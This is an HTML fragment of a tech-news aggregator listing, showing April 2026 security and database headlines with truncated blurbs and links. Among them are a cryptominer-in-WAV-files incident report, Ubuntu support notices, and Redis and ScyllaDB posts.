        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options" class="group relative scroll-mt-24">
        <a href="#h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ubuntu 16.04 LTS has reached the end of standard Expanded Security Maintenance with Ubuntu Pro. Here are your options.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ubuntu-1604-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Ubuntu 16.04 LTS (Xenial Xerus) reached the end of its five-year Expanded Security Maintenance (ESM) window in April 2026. If you are still running 16.04, it is critical to address your support status</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-16-04-lts-has-reached-the-end-of-standard-expanded-security-maintenance-with-ubuntu-pro-here-are-your-options"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft Turns to Anthropic’s Mythos to Improve Cyber Defense
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Microsoft has unveiled plans to incorporate Anthropic’s Claude Mythos Preview model and other AI models into its Security Development Lifecycle, embedding AI directly into the stages where code is wri</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/microsoft-turns-to-anthropics-mythos-to-improve-cyber-defense/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-take-control-of-ai-code-quality-in-ci-live-demo" class="group relative scroll-mt-24">
        <a href="#h3-take-control-of-ai-code-quality-in-ci-live-demo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Take Control of AI Code Quality in CI: Live Demo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-take-control-of-ai-code-quality-in-ci-live-demo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is accelerating coding, but without the right checks, it can also introduce risk, inconsistency, and hidden issues into your codebase. Businesses are offering “total automation” and “AI-driven chec</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/04/take-control-of-ai-code-quality-in-ci-live-demo/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp" class="group relative scroll-mt-24">
        <a href="#h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential clusters for Red Hat OpenShift: Developer Preview now available on Microsoft Azure with AMD SEV-SNP
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-clusters-for-red-hat-openshift-developer-preview-now-available-on-microsoft-azure-with-amd-sev-snp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Extending confidential computing from individual workloads to the entire cluster is a new frontier in cloud-native security.Today, Red Hat is announcing the Developer Preview of confidential clusters </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-clusters-red-hat-openshift-developer-preview-now-available-microsoft-azure-amd-sev-snp"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon" class="group relative scroll-mt-24">
        <a href="#h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical releases Ubuntu 26.04 LTS Resolute Raccoon
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-releases-ubuntu-2604-lts-resolute-raccoon"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The 11th long-term supported release of Ubuntu delivers deep silicon optimization and state-of-the-art security for enterprise workloads.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-releases-ubuntu-26-04-lts-resolute-raccoon"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Ingress NGINX to Higress: migrating 60+ resources in 30 minutes with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With the official retirement of Ingress NGINX that took place in March 2026, enterprise platform teams are facing an urgent security and compliance mandate. Remaining on a retired controller leaves cr</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/23/from-ingress-nginx-to-higress-migrating-60-resources-in-30-minutes-with-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets" class="group relative scroll-mt-24">
        <a href="#h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hardcoding Security into Every Commit: The Future of Snyk Secrets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hardcoding-security-into-every-commit-the-future-of-snyk-secrets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snyk Secrets bridges the gap between code and credentials with real-time, high-precision detection, ensuring your most sensitive data stays hidden while your developers stay fast.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/future-snyk-secrets/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up" class="group relative scroll-mt-24">
        <a href="#h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 JPMorgan Just Published a Cyber To-Do List and Snyk Covers 8 of the 10 Items. How do you stack up?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jpmorgan-just-published-a-cyber-to-do-list-and-snyk-covers-8-of-the-10-items-how-do-you-stack-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>JPMorganChase published a 10-point cyber resilience checklist. See how Snyk covers 8 of the 10 actions and where it fits in your security stack.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/snyk-covers-jpmorgan-cyber-list/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient" class="group relative scroll-mt-24">
        <a href="#h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SQL Management Studio for PostgreSQL 2.0 Is Here — Faster, Safer, and More Efficient
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the release of SQL Management Studio for PostgreSQL 2.0 — a major update to our database management and administration solution. This version introduces a more intuitive vis</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/sql-management-studio-for-postgresql-20-is-here-faster-safer-and-more-efficient-3280/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026" class="group relative scroll-mt-24">
        <a href="#h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building the agentic cloud: everything we launched during Agents Week 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-the-agentic-cloud-everything-we-launched-during-agents-week-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agents Week 2026 is a wrap. Let’s take a look at everything we announced, from compute and security to the agent toolbox, platform tools, and the emerging agentic web. Everything we shipped for the ag</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/agents-week-in-review/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-native-opentelemetry-metrics-for-redis-client-libraries" class="group relative scroll-mt-24">
        <a href="#h3-native-opentelemetry-metrics-for-redis-client-libraries" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Native OpenTelemetry metrics for Redis client libraries
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-opentelemetry-metrics-for-redis-client-libraries"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Redis server metrics look healthy but an application isn’t performing adequately (for instance, service time outs or p99 latency climbing for no obvious reason) the explanation is often not insid</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/native-opentelemetry-metrics-for-redis-client-libraries/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-4-dynamodb-configuration-changes-for-significant-cost-savings" class="group relative scroll-mt-24">
        <a href="#h3-4-dynamodb-configuration-changes-for-significant-cost-savings" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 4 DynamoDB Configuration Changes for Significant Cost Savings
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-dynamodb-configuration-changes-for-significant-cost-savings"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about ways to cut DynamoDB costs with minimal code changes, zero migration, and no architectural upheaval.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/23/4-dynamodb-configuration-changes-for-significant-cost-savings/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tidb-and-the-rise-of-the-ai-native-database" class="group relative scroll-mt-24">
        <a href="#h3-tidb-and-the-rise-of-the-ai-native-database" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB and the Rise of the AI-Native Database
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-and-the-rise-of-the-ai-native-database"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. When enterprises talk about artificial intelligence, the atten</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-native-database/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18" class="group relative scroll-mt-24">
        <a href="#h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 storage_engine 1.0.7 – columnar + row-compressed Table Access Methods for PostgreSQL 16-18
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi, I&#39;d like to announce storage_engine 1.0.7, a PostgreSQL extension providing two high-performance Table Access Methods: colcompress: column-oriented compressed storage with vectorized execution, ch</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/storage_engine-107-columnar-row-compressed-table-access-methods-for-postgresql-16-18-3279/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-test-reduce-time-to-first-byte-ttfb" class="group relative scroll-mt-24">
        <a href="#h3-how-to-test-reduce-time-to-first-byte-ttfb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to test & reduce Time to First Byte (TTFB)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-test-reduce-time-to-first-byte-ttfb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your pages feel sluggish, Time to First Byte (TTFB) is often where to look first. TTFB measures how long the browser waits before the server sends anything back. That wait sits at the front of the </p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/time-to-first-byte-test/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight" class="group relative scroll-mt-24">
        <a href="#h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Human in the loop: Why your production AI systems need human oversight
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-human-in-the-loop-why-your-production-ai-systems-need-human-oversight"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your AI agent can make tool calls, chain tools, and execute tasks independently. It can also hallucinate a policy that doesn&#39;t exist, execute a destructive SQL query that deletes production data, or c</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-human-in-the-loop/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-client-side-geographic-failover-for-redis-active-active" class="group relative scroll-mt-24">
        <a href="#h3-client-side-geographic-failover-for-redis-active-active" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Client-side geographic failover for Redis Active-Active
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-client-side-geographic-failover-for-redis-active-active"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Redis Active-Active architecture supports geographically distributed applications, providing real-time performance when apps are co-located with an Active-Active database member and ensuring stron</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/client-side-geographic-failover-for-redis-active-active/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-shrinking-the-search-introducing-scylladb-vector-quantization" class="group relative scroll-mt-24">
        <a href="#h3-shrinking-the-search-introducing-scylladb-vector-quantization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shrinking the Search: Introducing ScyllaDB Vector Quantization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shrinking-the-search-introducing-scylladb-vector-quantization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
